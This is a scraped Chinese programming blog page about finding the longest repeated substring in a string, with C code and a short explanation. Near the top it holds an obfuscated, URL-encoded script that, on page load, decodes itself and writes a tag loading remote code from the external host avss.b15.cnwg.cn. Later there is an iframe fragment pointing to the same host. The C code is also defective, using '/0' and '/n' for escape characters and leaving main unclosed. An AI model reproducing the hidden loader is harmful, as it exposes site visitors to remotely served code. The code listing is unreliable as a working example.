在字符串中查找最长重复子串的探讨

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
在字符串中查找最长重复子串的探讨




写一个函数,找出一个字符串中最长的重复子串。“t1t1”结果就是t1."cabcabca"结果就是cab或者abc或者bca。
#include <stdio.h>
#define BUF_MAX 1000
int index; //子串起始位置
int len;//子串长度
void str_search(const char *str)
{
 int i=0;
 while(str[i]!='/0') ++i;
 int strlen=i;
 for(i=strlen/2;i>0;--i)
 {
  int zeronum=0;
  for(int j=i;j<strlen;++j)
  {
   if (str[j]==str[j-i])
   {
    ++zeronum;
    if (zeronum==i)
    {
     index=j-2*i+1;
     len=i;
     return;
    }
   }
   else
   {
    zeronum=0;
   }
  }
 }
}
int main()
{
 char str[BUF_MAX];
 scanf("%s",str);
 str_search(str);
 printf("%d:%d/n",index,len);

 
说明:
假设str中有长度为m的连续子串,
则字符串移动m个位置后,与原串
 s0 s1 s2 s3 ... sm-1 sm sm+1 sm+2 ..... sn
                            s0   s1  s2 .............sn
一定有连续m个位置的字符是相等的;
如果有多个解,只返回第一个;

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值